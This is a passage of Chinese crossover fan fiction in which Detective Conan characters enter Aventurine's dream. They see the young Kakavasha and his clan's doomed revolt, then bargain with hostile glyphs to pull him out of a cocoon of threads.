亮出自己天外人身份的几人,没有遇到什么困难、很快便被过于“热情”的埃维金人迎到了一辆很大的篷车里。 拍了拍落沙的坐垫,妇人不好意思地解释着,“这里……条件有些简陋,还请诸位不要介意。” 简陋是真的简陋, 破旧的坐椅、灰蒙蒙看不出原色的帐布帐篷、缺了条腿的桌子……但也都只是老旧廉价而已,篷车里干干净净,看得出来埃维金人其实是有在努力地好好的生活, 这样的环境当然没什么好“介意”的。 伊达航几人注意到的是……自他们被迎进营地后,他们没见到任何一个孩子, 为他们引路的人也都是些成年了的大人们。 一个这么大的族地,不可能没有孩子的存在, 那这说明什么? 说明表面上对他们恭敬的埃维金人,实则也在提防着他们——埃维金人的信任,是难得的珍宝, 还是那句话,埃维金人在努力地好好活着。 如果早知道埃维金人的处境和情报,伊达航他们几个根本不会被年幼的卡卡瓦夏耍了那一趟,早熟的背后是苦涩的迫不得已。 不过伊达航他们已经很满意了,不冒名顶替一下,他们恐怕根本就没办法像现在这样坐在埃维金人面前、好好地聊上一聊。 带路的几人退了出去,帐篷里就剩了伊达航七人和几位氏族部队的领带人,其中就有卡卡瓦夏的母亲。 “我们……” “你们,不是公司的人吧。” 失了双腿只能坐在一侧的老者打断了想要说些什么的降谷零,在卡卡瓦夏眼框里色彩绚丽的眸子落到老者身上、暗淡得像是蒙了尘的宝石, 这双“宝石”见了太多太多的人了,老者分得出来,降谷零他们……不是那些就差拿鼻孔看人了的所谓公司里的人。 “你们看到了……我们很穷,没什么值得你们图谋的,”老者咳嗽了两声,“等夜色深了,你们便离开吧。” 混进来的几人倒是没想到,老者竟然会这么开门见山地点出了他们身份……虽然他们也知道,自己应该瞒不了埃维金人们多久, 天外之人的情报太少了,他们伪装不了自己。 “但你们现在需要我们,”萩原研二和松田阵平很放得开地在椅子上坐上,萩原研二甚至翘的了个二郎腿,“不然,你们也不会引我们进来。” 确实如此,埃维金人现在……需要“势”,所以老者几人默许了这几个陌生人、以公司的名义进入营地,“公司会站在他们这一边”的希望能够最大限度地鼓舞族人们的势气。 “我们确实不是给了你们许诺的那些人,不过你们可以相信一点,”诸伏景光道,“我们确实是为了一个更好的结局而来。” 降谷零看了一眼篷子垂下的门帘,没说话。 老者也在沉默,妇人垂下眼,“更好的结局吗……那可能会比雨水还要稀少吧。” “但也是有可能的,不是吗!” 工藤新一倒底还是年轻,他耐不住性子、也不想去耐,工藤新一急切地道:“现在一切都还来得及,马上遣散掉族人、躲藏起来,不要相信那些天外人的话……” 不要白白去送死! “不,已经来不及了,”妇人摇了摇头,“我们躲了太久,我们等待这一天也已经等了太久,雨水即是母神的指引,祂在呼唤我、死去的族人们也在等着我,我必须回应。” 无神论者的工藤新一无法理解,“就算赔上自己的、乃至那么多人的性命也必须要回应吗!” 没有什么应该比生命更重要。 老者颌首,“我们,必须回应。” …… 还想说些什么的、激动中的工藤新一被赤井秀一按住了肩膀,赤井秀一向工藤新一摇了摇头,道:“仇恨是一把伤人伤己的刀,他们只能回应。” 仇恨的火种一旦被点燃,再想熄灭便是……不可能的了。 在长期的压迫之下,所有的埃维金人都在等待着报仇雪恨的这一天,甚至有不少人本就是以复仇为活着的动力,为此、埃维金人宁愿付出生命、宁愿被仇恨蒙蔽住双眼…… 他们这些外来人,不可能劝得动他们、令他们选择放弃。 “可是…活着才有机会复仇啊,这次先活下去、下次再……” 工藤新一说不下去了,下次再什么?工藤新一狼狈地发现,下次埃维金人也只能拼命才有希望复仇。 “我相信你们并无恶意了,”老者看得见工藤新一在为他们即将迎来的死亡而痛心悲伤,他只是道,“正如你们所言,更好的结局也是有可能实现的……” “所以我们在赌那个可能,赌埃维金和卡提卡的血仇可以于我们这一辈结束,那微茫的希望……意味着我们的子嗣在未来将不再受到卡提卡的迫害、可以健康平安的长大。” 赌公司会帮他们,或者是……赌公司会在他们战死后、看在他们给了公司一个向卡提卡下手的理由的份上,可以善待他们准备送离战场的那些孩子们。 妇人也道,“在这场赌局上,我们愿意押上所有。” 所有,或者一无所有吗?降谷零不知道该怎么评价,砂金那家伙的“赌性”可能还是遗传来的。 伊达航始终沉默着,如果他是埃维金人……他可能也没有更好的破局方法了。 “卡卡瓦夏……知道吗?”松田阵平刚问完就感觉自己说了个废话,烦躁地改口,“不,是他愿意接受你们这么做吗?” 妇人避而不谈,只道:“他是卡卡瓦夏,母神祝福的孩子,好运会庇护着他、他会好好活下去……” “我不接受!” 缝着补丁的帘布被甩开,小小的身影从外面冲了进来,终于忍受不了了的卡卡瓦夏哭喊着扑到母亲的怀里,“我不接受!我不愿意!你们不可以那么去做!” “我再也不要什么好运了——!” 第163章 “卡卡瓦夏你……” 妇人错然, 显然没想到一向乖巧的孩子这次竟然偷偷摸了过来、偷听了他们的谈话。 这是卡卡瓦夏第一次表现得像是个普通的孩子一般,他扑在母亲的怀里倾诉着自己的委屈, “你们不可以这么擅自地为我决定一切, ” “我宁愿不要那份好运, 也不要和你们分开!” “不要说那些傻话、卡卡瓦夏!” 妇人发现自己的语气有些重后、又连忙柔声道, “抱歉, 我不该向你发火…我永远不会和你置气, 永远会原谅你……” “仁慈的母神啊、也请您原谅这孩子的失言……卡卡瓦夏, 听话一点…不要害怕和我们分开,我们只是先走一步而已, 终有一日、我们仍会重逢……” “那一日我要等多久?”卡卡瓦夏抽噎着不愿意接受母亲的说辞, “为什么我们就不可以一直在一起,为什么要瞒着我做那种决定,” “是不是我不来偷听,你们就非要等到最后关头才会告诉我这一切、然后逼着我一个人逃走……” 卡卡瓦夏的问题得到了沉默的回答,妇人他们的确是这么打算的。 卡卡瓦夏更难受了, 他想说他讨厌这样,讨厌被瞒着,讨厌瞒着他的妈妈……但他又说不出口,因为卡卡瓦夏知道妈妈听到了会伤心。 “好了,”老者敲了敲桌子,“客人们见谅, 小孩子就是粘人了一些……时候不早了,大家就先暂时歇下吧。” 降谷零他们听得出这是在“赶人”了,最后望了一眼妇人怀里哭泣着的孩子,众人配合着离开, 但事情远不会到此结束。 …… 夜深人静之时,被“软监禁”着的众人中没有任何人睡下, 众人对老者对他们的监视并无不满,毕竟他们是个“威胁”,对方不可能放心让他们在营地内走动,不然他们以“天外人”的身份随便说点什么、就有可能对准备死战的埃维金人造成巨大的影响。 众人们只是在等人…… 帐篷的一角传来窸窸窣窣的声响,在众人的注视下,被扯开一个小洞的空间里……钻进来了一颗粘满了沙尘的脑袋。 降谷零松了口气,和诸伏景光一起搭了把手将人拽进来,深夜的来客、 正是卡卡瓦夏。 年幼的孩子睁着哭得红通通的眼睛,进了帐篷往垫子上一坐,也不说话,伊达航抬手打了打卡卡瓦夏脑袋上的砂子也不去问,所有人都陪着卡卡瓦夏沉默、没有人去催问卡卡瓦夏的来意, 许久过后,卡卡瓦夏开口了…… —————————— 日子一天天过着,卡卡瓦日终于还是到来了。 远处的高坡上静静地立着几道人影,卡卡瓦夏站在最前端,望着下方乌压压、气氛凝重的族人们…… 工藤新一想上前几步,至少别让卡卡瓦夏在这种时候还是一个人,然而在看到又一道身影向他们走来时、工藤新一停下了脚步。 “麻烦几位了,”长发的埃维金少女向众人弯了弯腰、以示感谢,“接下来,我来陪他便好。” 众人为少女让开了路,好让对方与卡卡瓦夏做最后的告别。 —— “你们,是真实的人吗……” 工藤新一想过卡卡瓦夏会问他们很多问题,也许是“你们到底是什么人?”、“你们是怎么找到这里的?”、“你们想做什么?”,也都想好了说辞, 但他没想到卡卡瓦夏会突然这么真白地问出这种问题。 “真实的人”? 是的,他们当然是。 相比较“天外的人”,来自梦境之外的“真实的人”会更贴切。 —— 但是,姐姐她看起来明明这么的“真实”。 卡卡瓦夏抿了抿唇,少女陪着他一起望向下方的营地,“卡卡瓦夏,你是什么时候发现的?” 发现这里并非真实的世界。 “因为那些没有名字的族人,” 所有的族人似乎都没有自己的名字,母亲就是母亲、姐姐就是姐姐……连母亲分配起食物时,都只用“谁家”这种说辞、笼统地概括各种可能出现的情况,而没有具体到某人, 只有卡卡瓦夏、和那些“外来人”,才拥有自己的名字。 “因为外出打猎一直都没有回来的爸爸,” 卡卡瓦夏记得自己的爸爸打猎去了,但卡卡瓦夏怎么想、都想不起爸爸他是何时出的门、又具体长什么样子, “因为妈妈和你说过同样的话……” 【我永远不会和卡卡瓦夏置气,我永远会原谅你……】 “不,”卡卡瓦夏看向身侧的少女,“应该是妈妈和姐姐都是你才对。” —— 也是,他们都能察觉到梦境异常与漏洞,没道理卡卡瓦夏这么聪明的孩子注意不到。 降谷零等人了然,也干脆承认了自己的身份,“是的,你猜想的不错……这里是虚假的梦境。” 卡卡瓦夏的眼框更红了,但他硬是忍住了、他不想在陌生人的面前哇哇大哭,卡卡瓦夏用力揉了揉眼睛,“你们认识长大后的我吗?” “那时的我是叫砂金吗?” 卡卡瓦夏现在并不认识面前的这些人,所以对方只能是未来的他所遇到的人,卡卡瓦夏还记得这些人刚从天上掉下来时、对着他喊过什么名字。 “是,”伊达航道,“我们是你长大后的朋友。” “那……” 卡卡瓦夏努力在镇定了,但声音还是夹杂着哭腔、发颤地问着,“那他有告诉你们,我的族人、我的亲人、我的姐姐……他们,” “赌赢了吗?” —— “姐姐,” 前两次都很干脆的众人在那一刻迟疑了,没人忍心直白的告诉卡卡瓦夏答案,但卡卡瓦夏已经明白了结局, 卡卡瓦夏对少女说,“我们赌输了……” “嗯,”少女蹲下了身,与卡卡瓦夏平视,“但我们还有机会赢,只要你想。” 只要卡卡瓦夏愿意,天空很快就会出现公司那些黑衣人们的星舰,少女会让“美梦”继续维持下去、直到永远。 卡卡瓦夏却摇了摇头,“姐姐,他们……还在等我。” 在虚假之外的真实中等待着他。 卡卡瓦夏不知道未来长大后的自己是什么样的人,但他相信“自己”……既然“自己”让伊达航他们来找他,那他就需要如“自己”希望的那样“醒来”, 他不能让“自己”也赌输掉一切。 “对不起,姐姐……”卡卡瓦夏知道面前的少女在真心地爱着自己,所以他愿意继续叫对方姐姐, 只是他注定要让对方失望了。 “不需要道歉,”少女笑了笑,一如往常那样温柔,她轻轻抱住了他,“别忘了我说过的话……” 她永远不会和他置气, 她永远会原谅他。 “去走你选定的路吧,” 少女的身影如光点般慢慢散去,“未来的你,已经得到了改变……” 夜幕下,卡提卡人已在步步逼近,决心死战的埃维金人也已在严阵以待, 滴答、几乎遮盖了整个天空的乌云终于到了极限,第一滴雨挣脱了乌云的束缚,砸落在了大篷车上,发出了一声无人察觉的轻响, 母神的意愿, 已经下达。 闪着奇异光芒的翠青色宝石从少女消散的身形中凝聚成形、缓缓地落到了卡卡瓦夏的手中, 他,已经拥有了“改变”命运的力量。 …… “命运的骰子、已经掷下,”卡卡瓦夏轻声说着,无形的力量托着他飘浮而起、脚尖离开了孕育出他的黄沙,“现在,” 小小的身躯在光晕的遮掩下渐渐成长,原本稚嫩的声线在不知不觉中发生着变化、渐渐成熟, 他说, “到开牌的时刻了,诸位。” 第164章 骤起的狂风掀起沙砾, 工藤新一差点被吹翻出去、好在伊达航和赤井秀一及时拉住了他,才不至于无缘下一刻的奇迹。 变得青涩低沉的声音,仿佛响彻了整个沙漠、又仿佛响在了每个人的脑中…… 他说, “我来押注…” 【以自身性命做那注筹码, 】 顶住风沙,降谷零与诸伏景光相互搀扶着,迎着那异光竭力看去。 他说, “我来博弈……” 【博那所有、或是一无所有, 】 瘦消的身形轮廓开始抽条变形,松田阵平和萩原研二看这超现实的一幕发生在他们面前。 他说, “我来赢取。” 【赢得神明早已为其落好了笔的那个未来。 】 原本的青涩死气脱去、声调微微上扬了些许,在场众人更为熟悉的、彻底属于砂金的声线在此刻响起! 雷声轰鸣, 像是预示演员登台的礼炮声在这一刻响起! 闪电劈开了黑夜, 化成聚光灯照亮了那道本就该万众瞩目的身影! 他说, “我任命运拨转轮盘, ” 过于高挑的那人悬于半空无型的舞台之上,孔雀尾羽般的精致拖尾与修身华丽的服饰是吸睛的最佳演出服——那位众人即熟悉又陌生的人影微微躬着身,如同向某未知的存在致意, 倾盆的大雨如同幕布一般自无边的天际落下! 他说, “孤注一掷,” 雨水顺着华丽的礼帽边缘滑下,雨滴打湿了荒漠、也打湿了荒漠的孩子,一顶顶大篷车的帐篷成了雨滴专属的特殊的乐器,咚咚哒哒地演奏起奇异的乐曲, 终于,微垂的头颅抬起,赫然露出一张造型夸张、如羽毛般的诡异面具! 他说, “遍历死地而后生!” 点点明亮的闪光浮现在那道身影的四周,一枚接一枚的巨型筹码自雨幕中慢慢浮现,又仿若雨滴凝聚而出…… 雨,越下越大, 筹码,越聚趣多。 音乐、灯光、舞台、演员——均已就位! 那还在等待什么? 如爪状指节的手掌掌心向上,他宛如献祭一般毫无保留地抬起双臂、展开了胸膛,手握巨锤、以岩石钢铁为身躯的古老而宏伟存在投影于他身后,几乎将天空都映成了琥珀色, 他说, “一切献给、琥珀王——!!!” …… 巨锤应声挥下, 筹码注在下一刻、也如雨线般自天空坠下,足以一瞬间扭转全局的力量以压倒性的胜利轰碎了卡提卡的獠牙利刃,与此同时…… 也打碎了整个“世界”。 “朋友们,” 他能做的所有、都已做完, 荒漠开裂、天空消失,最后那身影化成一缕流星坠落于虚空,只余一道听不出什么情绪的声音在久久回荡, 陪他赌上……可能是最后一场的赌局吧。 “……该你们跟注了。” …… 那声音连同混乱一起充斥了伊达航众人的大脑,待众人从卡卡瓦夏……不、应当说是砂金引发的突变中回过神之时,那个光怪陆离、环境险恶的“茨冈尼亚”已经消失, 众人立于一片沉寂的死水之上,似有纶音靡靡渐近、抬首远望又是稍看一眼仿佛便会摄人心魂的一轮黑日,头顶无边无形的穹顶上飘浮着众多气泡形状的奇怪存在。 此前、亦或者是现在,都当真是个…… 奇迹。 观察中的伊达航眼神一凝、发现了其中一个气泡中缓缓浮现的画面,画面里、阿笠博士站在许多孩子面前得意洋洋地介绍着自己的最新发明。 “那是……园子和小兰!” 工藤新一也看到了,他看见有个气泡中的铃木园子在举办着自己的婚礼、而伴娘就是毛利兰。 “还有其他人,” 萩原研二则看见了几个孩子的梦,有人变成了公主、救下了自己的王子,有人在吃怎么吃都吃不完的鳗鱼饭,有人拿到了知识竞赛的第一名、还是假面超人亲自为他颁得奖。 除了“美梦”,也有“噩梦”。 松田阵平就看见了有个人在哭倾着自己的迫不得已、却仍看不清的黑影往深渊地狱里拖去…… “所有人的梦境,都在这里。”降谷零说道,“这里应该就是梦境的最深处了。” 但是,砂金在哪里? 诸伏景光示意大家往梦泡后若隐若现的丝线状存在看去,“不如顺着这些线往深处试试?” 可以一试。 不论砂金是否清醒,毫无疑问、砂金依旧是梦境的“源头”与“主宰者”,脚步落在死水上泛起了点点波纹,随着几人的深入,密密麻麻像是蛛丝一般的丝线越发的密集, 终于,在众人可以望见的尽头、牵动着所有梦境的源头出现了——一颗硕大的半透明光茧被丝线悬吊在死水之上,茧的背后仿佛是更近了些的黑日, 而那光茧中,隐隐透着道蜷缩着的身影。 “找到了!”松田阵平快跑了两步,向光茧那奔去,“这混蛋真能藏……既然梦已经碎了,接下来就是把他从这些线里扯出来、呃!” “小阵平等等!” 萩原研二连忙拽住松田阵平将人拉回了身边,刚刚突然暴起、仿佛要将松田阵平一同卷入茧中的丝线晃了晃,再次静静地蜇伏起来…… “见鬼的!”松田阵平又骂了一声,“这鬼东西怎么搞?” “得想办法让它们放我们过去,”赤井秀一凑近,大着胆用力扯了一下丝线,结果啪一声、赤井秀一手背上被抽出了一道红痕, 这里,不欢迎他们。 突然,赤井秀一又发现了什么眼熟的东西和杂乱的丝线混在了一起、飘飘荡荡——那是一串接一串的、陌生的、白色不明字符,在同色发着光的线条的掩饰之下毫不起眼, 但赤井秀一眼前一亮,“诸位、凝神,线里面混着文字。” 那在这个世界上从未存在过的文字,赤井秀一在有关砂金的梦中见到过! “上面写了些什么?”降谷零皱眉,外星文字? 但没了那石头、也不在砂金的梦里,此处的“辐射量”不足,赤井秀一也无法辩认其中的含义,只能摇了摇头。 没等其他几人苦恼这一事实,萩原研二不可思议地瞪大了眼睛,说道,“我好像能看懂……” 难道这和他曾经“偶遇”过“琥珀王”,身上残留的“辐射”更多、受到的影响更深有关? 是的,此时的萩原研二已经想起、他为什么一直觉得“琥珀王”这个名字眼熟了,砂金身后那遮天的巨影, 不就是萩原研二曾经在生死间见过的那个“石头人”吗? “别奇怪那些有的没的了,快看看!”松田阵平扯着萩原研二上前,“那些文字是什么意思?” 萩原研二深呼吸了口气,沉下心去“感受”文字中的内容, 在众人紧张的注视下,萩原研二的脸色却渐渐难看起来…… 第165章 【是谁? 】 漂荡着、又在缓缓消失着的文字仿佛有着生命,有着自己的独立意识, 【■■? 】 【■■? 】 【还是■■■■? 】 萩原研二无法完全认识所有文字,但他感觉得出, 那几个未知的称呼都不是在叫他们。 【啊…明■了, 是朋友………】 【■友是武器, 朋友为卡■瓦夏而来, 但朋友注定无功而返……】 【是谁? 】 【是的, 无■而返……】 【还是■戈■■? 】 【是朋友……】 又好像不止是一个意识,文字在混乱地……“自言自语”着几个话题,萩原研二试图从密密麻麻的信息中找到更多更有用的信息, 【没有用的…■找不回自己的■■……】 【找不■曾经…无用的……】 【■没有未来, 没■■来……】 【是■友? 】 【是的, 是武器……但没有■的……】 【创伤不可抚平,过■无法逃离, 未来不曾拥有…永远如此, ■必须留■这■……】 谁必须留在这?萩原研二只能想到砂金,这些丝线与文字不愿放人,这不是个好消息。 【有石■无水,有雷而无雨,有■而无■……】 【是谁? 】 【或者是芬戈妈■……】 【永远失去未■……】 【不,有■来…留下■,即是未来……】 “hagi?” 松田阵平唤了一声, 萩原研二闭了下眼,缓了下大脑,“它们说, 砂金没有未来,他无法逃离过去, 他必须留在这里……” “留下,才是他的未来。” …… “呸,”松田阵平撸了撸袖子,“老子倒要看看它们凭什么不让老子带走那个混蛋!” “冷静点,松田。”伊达航制止着说完就想和那些丝与字硬碰硬的同期,“别冲动!” “老子很冷静了!”松田阵平拧着眉头,“它们算什么东西,一团破线、一串鬼画符?就这、它们凭什么对别人的未来和人生指手画脚!” 松田阵平的怒言,也是所有人的心声。 “等下、它们的内容变了!”随着松田阵平的声音落下,又不断飘出了新的文字,萩原研二凝神继续看下去, 【他们看得见■们? 】 【看■见……】 【意外? 】 【不…是芬戈妈妈的■■……】 【转机……】 【不,没有转■、必须留■来……】 【不,母神的旨意大于一切……】 【大■一切……】 【但■没有未■……】 【■神愿意赐予新生? 】 “它们……吵起来了,”萩原研二迟疑地转述着,“因为我能看得懂它们,它们认为这是母神赐给砂金的转机,但仍有文字认为砂金依旧需要留下……” “谈判吧,”降谷零这辈子的新奇体验都交代在砂金身上了,他此前从未想过、他能试着和一堆外星文字搞谈判, 但为了砂金,不得不试。 “你们……”降谷零立于错乱的丝线面前,沉声问道,“怎样愿意让我们带走砂金?” 【为■么要带走? 】 “它们问,我们为什么要带走他,”萩原研二一条接一条地翻译着,“朋友不过是……” 【朋■不过是武器,利用,不值……】 “值与不值不需要你们判断,”听着萩原研二的转述,诸伏景光道,“朋友是不是武器并不重要,我们认可他就足够了。” 【证明,筹码,给■,跟注……和■们赌……】 “它们要证明,要筹码,要与我们对赌。” 【赢…就还给你们……】 …… “那输呢?”萩原研二追问。 然而丝与字没做回答,原本安静的众多丝线开始缓缓颤动、收缩转动。 “伊达警官!你们快看!”工藤新一神色骤然一变,只见穹顶下飘浮着的梦泡、在线的牵引之下,竟然缓缓地向那轮黑日飘去, 不用想也知道,要是让可怖的黑日吞噬了梦泡……后果必定不堪设想。 …… 新汇聚而出的巨大文字再次出现在众人面前,死寂的空气开始焦灼,最后一场赌局、 开场了。 …… 【“杀人犯”如何得到原谅? 】 “哈,这是什么鬼问题?”萩原研二翻译过来的文字直接逗笑了松田阵平——气笑的,“杀人犯?” “是砂金他闲着没事干,就喜欢杀个人玩玩吗?” 砂金并不是什么反社会性人格,要松田阵平来说,经历了那么多、还没想干脆毁灭世界算了的砂金,简直就是个“大善人”, “他为什么要得到原谅?” 松田阵平再也忍不住了,捏紧了拳头,这次萩原研二拦下了想阻拦松田阵平的其他几人, “杀人犯”这个词,对曾经被污蔑是“杀人犯的儿子”的松田阵平而言,是逆鳞。 “不要随随便便地就把那个词、往别人身上套,”松田阵平抬起了拳头,“还有,要我再教教你吗,那个词……” 被伤害逼迫到不得不夺去他人的性命、才能让自己活下来……这种情况,相比较“杀人犯”,松田阵平觉得更应该用另一个词来形容, “应该是受害者才对啊、混蛋——!” “铮——!” 蓄满了力的拳头轰散了白字,已经做好了被那些丝线划伤、都要给它一拳的准备了的松田阵平、却发现他身上突然亮了一下,松田阵平毫发无伤, 金灿灿的一枚筹码凭空出现,落到了松田阵平手中。 是……砂金给他的那枚!松田阵平瞬间顿悟,对着身后的人道,“跟紧我!我们往里走!” 泛着微光的护盾随着松田阵平前进的脚步、撞断了根根拦路的线,丝线向黑日拉扯着梦泡的速度慢了几分下来…… 时间急迫、脚步匆忙,没过多久,众人遇到了第二道“拦路虎”, 【“失败者”为何不放弃挣扎? 】 松田阵平身上的护盾光芒若隐若现、已经快到了极限,但他们不能在此停下,砂金还在远处。 “因为不需要挣扎。” 赤井秀一站了出来,他道,“他一直在前进,从未停下……好运是他的底气和信念,只要你们口中的那位母神一直注视着他,” “他就会继续向前。” 不需挣扎,那是他心甘情愿踏上的路。 崭新的筹码出现在了赤井秀一的手中,白字消散,护盾再次凝聚, 向前跑去,不要停……众人向那悬吊的光茧奔去。 …… 【“弃子”何时能看清现状? 】 “他早已看清,早在很久之前,”降谷零大步向前,“我等,皆是弃子。” 降谷零他作为一名卧底……何尝不也是一枚弃子? 现状更是早已看清,但为了大众的利益和更多人的幸福,降谷零甘之如饴。 降谷零想,砂金也必定如此……砂金那么聪明的人,他不可能不知道他只是枚随时可能被丢弃的“弃子”,他看得清现状, 为了他所求的……他也甘之如饴,不容置疑。 …… 光芒再次被点亮,他们还在前进。 …… 【“自私的废物”怎能舍去过去? 】 “那就不必舍去!”诸伏景光回答得斩钉截铁,“我谨记着那晚我的无能为力,我不否认曾经的我是个废物,但我必须自私,” “在为父母报仇之前,我必须足够珍惜他们牺牲自己才让我活下来的这条命!” 他想,砂金也应如此。 …… 丝线散开了大半,白字继续浮现。 …… 【“一无是处的懦夫”凭何活到现在? 】 “凭他的智慧、能力与勇气,他既然已经成长到如今的样貌,那他就与一无是处这一词毫不相干,”伊达航肯定地道,“一个孩子仅靠自己一人、努力地将自己养大,” “这不是懦夫,而是勇者。” …… 接二连三的筹码跃出,众人越发逼近了光茧。 …… 【“赌徒疯子”何需拥有未来? 】 “赌徒当然需要拥有未来,”萩原研二见着这话、干脆地笑了笑,“不然,砂金一次又一次押在赌局上的是什么?” 是砂金自身的那条命, 是砂金余下的人生, 是砂金的未来。 …… 众人与那光茧已近触手可得,隐约已经能看到砂金熟悉的身影——对方正沉沉地睡在茧中。 快了,就要快了! 身量最高的伊达航探出手,要去抓住那个贪睡爱玩的孩子…… 【“输家”……】 可白字再一次浮现,【怎配得到新生? 】 众人表情皆是一变, 怎么还有? ! 砂金配不配得到新生这种问题,众人多的是言语可以去解释、可以去反驳,但是, 伊达航环视了众人,除了工藤新一这个意料之外的同伴,每个人手中都已握上了一枚筹码——六人六枚, 再无多余。 …… 他们给不出白字要的“筹码”了。 …… 【“输家”怎配得到新生? 】 【“输家”怎配得到新生! 】 【“输家”不配得到新生! 】 …… 不需要萩原研二再翻译,白字仿佛知晓他们再无力加注,一串串的文字涌了出来、挤满了众人的视线, 【开盘!输掉所有! 】 【一无所有——! 】 【■们输了,不值……】 退却的白字与丝线卷土重来,半透明发光的护盾屏障死死抵着缠绕而上的攻击,但几人的脚步仍被硬推着在水面上滑出一道涟漪, “可恶!它们有完没完了!”松田阵平咬牙、拼命顶着压力,向前推去, 不、应该是不仅是他,每个人——连力气最小的工藤新一都用上了全部力量拿肩抵着光屏,努力与丝线们抗衡…… 这样下去……没有用的,汗水顺着额角滑过,萩原研二能感觉到,护盾的力量在一点点的消失,砂金寄存在筹码里的虚数能量在快速耗尽! 等到护盾破碎那一刻,毫无疑问、他们所有人都将被弹开——! 【创伤不可抚平! 】 【过■无法逃离,】 【■来不曾■有…】 【过去如■,现■如此,未来■■,永■■此……】 如浪般涌现的白字猛地涌动起来,赤井秀一因用力过狠而透红的脸上,神色因余光扫见了什么又是几经变幻,他不得不提醒众人一件事,“梦泡……” “在向黑日靠近。” 此时的黑日苑若吞噬一切的黑洞,穹顶的梦泡以越来越快的速度向黑日奔去,丝线疯狂的飞舞,未知的存在似乎在用这种方式逼迫众人认输…… 救外面那些陷入梦境、即将遭受无妄之灾的人, 还是徒劳无力地继续救面前这个—— 【败■弃子一无是■■懦夫杀■■疯█赌■弃■废物输家■■■家输家输家输■输家输家输家输■家输家输■■家输输家输家■■■■输■■家输家输家输■■■■■■■■■■■■■■■■■■■■■■■■■■■……】 …… 现实中, 除了身有基石的伯劳,一切踏入邪/ 教基地范围内的人都在沉睡,而离砂金越近的人,睡得也便越沉…… 被绑的也越紧。 伯劳很认真地执行了砂金的第二条命令——趁所有人沉睡之际,把所有邪/教徒绑起来。 而现在无事可做,守在睡着了的砂金身边、正出着神的伯劳一怔,随后猛得凑近到砂金面前再次仔细确认…… “变了,”伯劳大脑空白了瞬间、随后才迟顿运转起来,意识到他看见了什么,“变白了……” 冰冷的祭台上,砂金平时打理精细的金色半长发,竟然毫无任何征兆地开始褪色,渐渐变白、变得干枯, 不仅如此, 伯劳紧张地摸上砂金的人手腕,皮肤下的血色褪去,脉搏微弱、体温也在很快的流失,轻揭起砂金的眼皮,连那双罕见漂亮的眼睛都在流失着眩目的颜色…… 伯劳不知道发生了什么,但这些怎么看、都不像是好的征兆。 握着砂金手腕的掌心被什么刺痛了一下,伯劳恍惚地发现、一朵血红色的花朵凭空盛开, 伯劳说不出什么感觉,只是觉得花开得很盛,越开越多、像是要将砂金全部遮掩起来,但砂金的生命……好像也在流逝。 花是不好的, 主人会死。 终于反应过来了的伯劳疯狂地撕扯着那些像是长在了砂金身上的花朵, 不可以,不可以死……伯劳竭力保护着自己认定的主人, 砂金不可以死! 第166章 “我想你帮我几个忙, 朋友。” 彼时的砂金这么说道。 对比“朋友”这种称呼,伯劳更可以对方直接叫自己“伯劳”,这是对方给他的名字……但现在他是一个“叛徒”, 所以没资格提要求。 伯劳沉默地点头,听砂金继续吩咐道, “首先呢,将丢失的基石全部拿回来,以及确认人质有没有危险。” 那些教众疯归疯,也还真有些本事……竟然能屏蔽掉他对基石的感知,对砂金本人寻找失物造成了不小的麻烦, 好在, 那些人对伯劳这个“合作者”应当设防不深, 伯劳这枚失控的棋子还能有利用的价值。 “然后把教众都绑起来好了,别让他们醒过来影响我们的后续计划……如果有突发情况发生,就先去把人质带离基地、保证他们的安全。最后……” “我们打个赌吧。” 砂金并未直言让伯劳将基石还于他,只道,“如果你能完美的完成所有任务,我就原谅你的背叛,不仅如此、我还能答应你一件所求……” 伯劳简单的大脑一下就被“所求”一词捕获了,甚至没多少余地去听砂金后面的话——完成任务而已,他一定能做到的, 然后, 他是不是就可以求砂金留下来了? 砂金缓缓地说着, “如果不能,便是你输……” …… 砂金曾经的言语响在脑中,徒劳无功地撕扯着花瓣的伯劳呼吸骤变、几欲窒息…… 怎么样算是“突发情况”? 现在算吗? 当然。 所以他应该丢下砂金,去把人质带出基地,这样才能完成任务、求砂金留下,但是……无力支持的膝盖重重地跪下,伯劳跪在砂金身侧不停的颤抖, 但是砂金现在状态很不好,他要是去做任务了、砂金怎么办? 留下砂金一个人吗? 不,绝对不可以! 但任务怎么办,他还没有得到原谅、他还想让砂金留下来…… 但是砂金会死,会在他离开时死去,会在他面前死去,会在他的背叛中死去…… 突然,伯劳懂了, 这是惩罚, 砂金对他背叛之举的惩罚。 …… 放弃砂金,去救其他人吗? 【要是筹码耗尽,或者是确定我已经不可能醒来了……】 那就放弃我吧。 可是…… 怎么甘心啊! ! ! ! ! 半透明的屏障闪烁不稳着、极限将至,光茧再次被层层包裹起、摇摇欲坠,欲坠入身后的黑日深渊…… 已经走到这里了, 他们经历了那么多,美梦、噩梦都闯了过来;看见了那么多,恶劣的生存环境、糟糕的社会地位、还有年幼的卡卡瓦夏;又无能为力了那么多,无法帮助埃维金人得到正名,无法让卡卡瓦夏远离那可怕的一夜…… 现在,又要当个看客、继续无力下去吗? 明明,距离救下砂金就只差了那么一点了! 六枚筹码,无一浪费, 可为什么还是差那么一点——? ! 无人愿意就此放弃, 不想认输, 不愿认输, 不甘心认输! 可……与光茧一同摇摇欲坠的是众多的梦泡。 【好运用尽了……】 【■神收回了祝福……】 【到时候了,就此结束。 】 【输家……】 【■会留下,不值得…离开吧,朋友们……】 无人再有精力搭理那些白字,两难的境地令所有人都不好受, “什么输家,”指甲掐进了手心,痛楚令人的意识更加清醒,工藤新一到底还是年轻气盛,他舍不下砂金、又想救下外面的人,“我讨…哈,讨厌这个词……” 砂金不是曾经说过他运气很好的吗? 那就…再好一次吧…… 一向无神主义的工藤新一第一次这么希望奇迹真的可以再次发生,没有什么比生命更重要,工藤新一想救下所有的人! “铮——!” 突然的一声轻响,让众人齐齐地愣了一下,而这样的响声、之前已经出现过六次,每次的出现都代表着…… 痛苦的决择被猛然抛去,伊达航眼中重新涌起希望,只见工藤新一的面前、竟也出现了一枚筹码! “我…我想起来了……”工藤新一也是恍惚间大悟, 砂金曾经也给过他筹码! …… 砂金送出去的筹码并不多,其中有着虚数能量、还未被使用过的筹码更是少之又少,而工藤新一恰好手中就有一枚, 甚至因为在赤井秀一得到的情报,柯南被绑走前、口袋里也还揣着那枚疑似外星产物的筹码! 母神赐予的好运,在这一刻体验的淋漓尽致,砂金恐怕也没想到,昔日送出的筹码会在这一刻起到作用。 工藤新一为什么也会进入砂金梦境的疑惑也得到了解答,但这已经不重要了, 重要的是…… “帮我,送我过去——!” 